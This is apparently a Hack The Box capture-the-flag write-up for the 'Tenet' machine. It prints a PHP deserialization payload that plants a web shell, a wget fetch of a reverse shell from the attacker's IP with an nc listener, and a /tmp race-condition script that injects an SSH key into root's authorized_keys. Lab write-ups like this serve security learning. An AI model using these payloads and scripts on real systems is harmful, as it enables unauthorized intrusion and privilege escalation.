Summary
Simple old box I hacked 3 years ago but my notes were shoddy so I rehacked it from scratch. Insecure deserialization to www-data, then bash script exploitation to root. There is probably a better writeup present on HTB if you want something more thorough. If you prefer my rambling then get in here.
Enumeration
nmap -p- 10.10.10.223 -Pn
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
sudo nmap -sC -sV -p22,80 10.10.10.223
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 - http
A simple wordpress site is all we find. Looking at the posts we can see there is a comment referencing sator.php
and a backup of the file.
The endpoint we are looking for it conveniently located at http://10.10.10.223/sator.php
which provides the following results when visited:
And heading to http://10.10.10.223/sator.php.bak
gives us a download prompt. The code is as follows:
cat sator.php.bak
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
So after running this in theory there should be a user.txt file in the same directory as sator.php.
Foothold as www-data
Insecure Deserialization (PHP)
Investigating this code we see that sator.php takes the parameter arepo and fills the databaseupdate variable with its unserialized value. Then it will create a new object using the DatabaseExport class then run the update_db() method.
So what’s the exploit if the variable we have control of isn’t passed to anything in the code you ask?
Insecure deserialization php edition is what we will be using. There are a few conditions that need to be met for this code to be vulnerable. #1 we need unfiltered control (or the ability to bypass the controls) to the unserialize function. #2 there needs to be a PHP magic method that can be used to carry out the attacks. Here __destruct is a magic method so this in theory is vulnerable to insecure deserialization. Links below on more depth of types of attacks in this vector:
OWASP PHP Object Injection
HackTricks Deserialization
TLDR magic methods in PHP refer to __sleep __wakeup __unserialize __destruct and __toString.
__sleep occurs when an object is being serialized.
__wakeup occurs after deserialization.
__unserialize is a special priority case over __wakeup if both are present.
__toString is a method that can be used for when handling strings.
And finally __destruct occurs when an object is to be destroyed or when the script ends.
In our case the code within __destruct will be run at script end, and we can use that to our advantage. https://www.w3schools.com/php/phptryit.asp?filename=tryphp_func_var_serialize is the place I’ll be serializing my payloads for testing. The basic rundown here is we have access to modify objects within the class: the two variables user_file and data.
Now without further ado:
class DatabaseExport
{
public $user_file = 'test.php';
public $data = 'Hello';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$o = new DatabaseExport();
$ser=serialize($o);
echo $ser;
O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"test.php";s:4:"data";s:5:"Hello";}
For clarification we don’t need to use the whole class for serialization, but it’s simpler to copy over all of it than it is to define the class and variables within we want to change.
Sweet, now I can change the contents of data to a simple cmd GET and achieve rce. As a small note the php code I was injecting didnt like being serialized so I added it after and urlencoded just to be sure it didn’t mess up.
public $user_file = 'cmd.php';
public $data = '<?=`$_GET[0]`?>';
O:14:"DatabaseExport":2:{s:9:"user_file";s:7:"cmd.php";s:4:"data";s:15:"<?=`$_GET[0]`?>";}
http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:7:%22cmd.php%22;s:4:%22data%22;s:15:%22%3C?=`$_GET[0]`?%3E%22;}
Now I can upload a proper shell and become www-data:
http://10.10.10.223/cmd.php?0=wget%20http://10.10.14.7:8081/shell.php
httpserver
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.223 - - [20/Mar/2024 18:58:55] "GET /shell.php HTTP/1.1" 200 -
http://10.10.10.223/shell.php
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.10.223 31118
Linux tenet 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
00:03:25 up 2:42, 0 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1685): Inappropriate ioctl for device
bash: no job control in this shell
www-data@tenet:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Root
Basic enum yielded yet another boon for me, a sudo command as www-data.
sudo -l
Matching Defaults entries for www-data on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User www-data may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
ls -al /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1080 Dec 8 2020 /usr/local/bin/enableSSH.sh
Not writable by me so I’ll see what I’m working with.
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
Code flow rundown, sets a public key for ssh access, then adds the key by placing it in a temporary file under a certain format. After checking the file it copies the key directly over to the authorized_keys file in root. Finally it checks if the key was “successfully” added. I put that in deliberate quotes due to the results we’ll see later.
To exploit this I need two things, a script that will be checking for the existence of this file, and a keypair ready to place in the created file before it transfers it over.
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/raccoon/.ssh/id_rsa): tenet
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in tenet
Your public key has been saved in tenet.pub
The key fingerprint is:
SHA256:SW1tbXRR26LHtMHNqPCfa/dbayKobPWsXDkXyNpjuVI raccoon@cyberraccoon-virtualbox
The key's randomart image is:
+---[RSA 3072]----+
| ..=|
| . . + =o|
| . + o O.+|
| . o.+.* + |
| S o+.+ |
| .oEoo.. |
| ..=O .o .|
| ...oo+=..o+|
| .o.oo...+++|
+----[SHA256]-----+
cat tenet.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC52fT813CyUdEjR1NZ5IYgA/+gBTa8KAqXp6Ozi3zIfpGA/BNiTs9tb2tj1vRP+Uz14z+BtX73+nQpj175hUCLcIvY6vxAW86yYoyhjCEcR8JULuFU1OC07HDBBg/2476N+WCn068dqqA1cSW2zkTqTxBlwBqeWBY5d9OhcmstZ7cx5hxW/wXKSRpTGVB0TLos0UsDArpW7Xu637Cl8wvtjzpT8r9H8xFoFddctiEOP5AprxBm6dHlxoyvEHn73Tv211wHLvr7xJ5ohouNcCDG1l+oDcIaEOnXCCBHD7PescfwO5CQ+R7cEeEB/N9hNqK0Oeon82WXddgLqa6NK4ZKKgqRsUk2tGQVnhlo5PmPEFsAchtDapfS/065jQNSZf2fBoT8x2H7H2RiY+PzRdBtii2z0DpY17xXIUBH5okyR4FFYmi/a0ZVO0nW18f7nQVbkU/FHFEZ8lXkm3rKRvWIjMLKUvZNMbnzoTreWjyYtHdaSxXMWs+WPztnYdjG/kc= raccoon@cyberraccoon-virtualbox
cat exploit.sh
#!/bin/bash
key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC52fT813CyUdEjR1NZ5IYgA/+gBTa8KAqXp6Ozi3zIfpGA/BNiTs9tb2tj1vRP+Uz14z+BtX73+nQpj175hUCLcIvY6vxAW86yYoyhjCEcR8JULuFU1OC07HDBBg/2476N+WCn068dqqA1cSW2zkTqTxBlwBqeWBY5d9OhcmstZ7cx5hxW/wXKSRpTGVB0TLos0UsDArpW7Xu637Cl8wvtjzpT8r9H8xFoFddctiEOP5AprxBm6dHlxoyvEHn73Tv211wHLvr7xJ5ohouNcCDG1l+oDcIaEOnXCCBHD7PescfwO5CQ+R7cEeEB/N9hNqK0Oeon82WXddgLqa6NK4ZKKgqRsUk2tGQVnhlo5PmPEFsAchtDapfS/065jQNSZf2fBoT8x2H7H2RiY+PzRdBtii2z0DpY17xXIUBH5okyR4FFYmi/a0ZVO0nW18f7nQVbkU/FHFEZ8lXkm3rKRvWIjMLKUvZNMbnzoTreWjyYtHdaSxXMWs+WPztnYdjG/kc= raccoon@cyberraccoon-virtualbox"
switch=true
while $switch
do
check=$(find /tmp/ -name "ssh*" 2>/dev/null)
if [ ${#check} -gt 0 ]
then
switch=false
echo $key > $check
fi
done
Okay so this requires a tiny bit of explanation to understand if you are new to bash scripting. I set a while loop to run until the condition is met, that condition being a file of the format ssh* is found in /tmp. It then checks the output of find has a length greater than 0 and places the key in the file and switches off the while loop.
Final steps, send the exploit to the background and then run the sudo command, then ssh in as root.
wget http://10.10.14.7:8081/exploit.sh
bash exploit.sh &
sudo /usr/local/bin/enableSSH.sh
sudo /usr/local/bin/enableSSH.sh
/tmp/ssh-tbCxu9B1
Successfully added root@ubuntu to authorized_keys file!
The spaces are because I left an echo $check in the exploit for testing but omitted it here. But despite that it seems I should be able to ssh in first try. In addition you will see it check and sees that root@ubuntu was added to the file, and not the user I was injecting. The reason being is the hard coded key in the script is being referenced instead of any of the data it was moving.
ssh root@tenet.htb -i tenet
root@tenet:~# cat /root/root.txt
077d88ea7dad17------------------
root@tenet:~# cat /home/neil/user.txt
f4cb9e9f7e89fb------------------